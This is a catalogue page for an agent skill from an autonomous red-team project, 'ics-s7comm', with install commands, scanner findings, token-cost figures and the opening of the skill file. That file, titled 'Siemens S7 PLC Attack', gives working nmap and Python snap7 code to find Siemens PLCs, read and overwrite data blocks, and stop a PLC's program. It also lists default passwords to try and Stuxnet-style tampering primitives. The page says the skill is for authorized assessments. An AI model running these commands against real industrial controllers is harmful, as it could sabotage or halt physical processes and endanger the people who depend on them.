Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add PurpleAILAB/Decepticon --skill s7commgit clone --depth 1 https://github.com/PurpleAILAB/DecepticonWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/purpleailab/decepticon/s7comm)<a href="https://agentmods.dev/skills/purpleailab/decepticon/s7comm"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/s7comm/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/purpleailab/decepticon/s7comm"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/s7comm.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 1 finding, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high YARA Match · line 19 YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00091 | $0.01304 |
| Opus 5 | $0.00046 | $0.00652 |
| Sonnet 5 | $0.00018 | $0.00261 |
| Haiku 4.5 | $0.00009 | $0.00130 |
Grade A, and why
ics-s7comm scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
Copies of this mod
1 near-identical copy found in the catalogue:
- s7comm — 94% identical, 2 lines differ
How it starts
The opening of the file, as written. The whole thing — 120 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Siemens S7 PLC Attack
S7Comm runs over ISO-on-TCP (RFC 1006), TCP/102. Siemens PLCs (S7-300, S7-400, S7-1200, S7-1500) speak it.
Discover
nmap -p 102 --script=s7-info 10.0.0.0/24
# s7-info NSE returns Module Type, Order Code, Firmware, PLC name
# Or with snap7
python3 -c '
import snap7
c = snap7.client.Client()
c.connect("10.0.0.50", 0, 1) # IP, rack, slot
print(c.get_cpu_info())
print(c.get_cp_info())
print(c.get_order_code())
'
Read / Write data blocks
S7 memory areas: DB (data block), M (memory bits), E (input), A (output), T (timer), C (counter).
import snap7
from snap7 import util
c = snap7.client.Client()
c.connect("10.0.0.50", 0, 1)
# Read 100 bytes from DB10
data = c.db_read(10, 0, 100)
# Decode:
print("DB10.DBX0.0 (bit):", util.get_bool(data, 0, 0))
print("DB10.DBW2 (int):", util.get_int(data, 2))
print("DB10.DBD4 (real):", util.get_real(data, 4))
# Write back
util.set_real(data, 4, 99.9)
c.db_write(10, 0, data)
Stop / Start the PLC
c.plc_stop() # ⚠ halts execution of the user program — process stops
c.plc_hot_start() # Resume
c.plc_cold_start() # Restart with full init
# Each is unauthenticated on S7-300/400 by default.
Authentication / "Protection Level" differences
| PLC family | Default protection | Bypass class |
|---|---|---|
| S7-300/400 | Often none ("No Protection") | Direct |
| S7-1200 (FW < V4) | None or password (cleartext on wire) | Sniff password |
| S7-1200 (FW V4+) | Password + challenge-response | Replay session, weak hash |
| S7-1500 | Password + challenge | CVE-2019-10936 (info leak), then offline crack |
# S7-1200/1500 password auth via snap7's set_session_password
c.set_session_password("changeme")
# Common defaults: "0000000", "siemens", "100", blank, vendor name
Stuxnet-class primitives (S7-300/400 still in many old fleets)
- Function block tampering: write a custom FB that replaces an existing one — process logic silently changes.
- OB1 hook: prepend a payload block to OB1 (the cyclic program block). Runs every scan cycle.
- PROFIBUS frame injection (requires hardware): forge sensor data so the PLC sees normal values while actuators are mis-driven.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 7d ago First seen · 120 lines · 91 tokens per session scan A 900dfb4379e6
ics-s7comm is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,482 stars, last pushed 11d ago), licensed Apache-2.0. It adds 91 tokens to every session and 1,304 once invoked, about $0.0005 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
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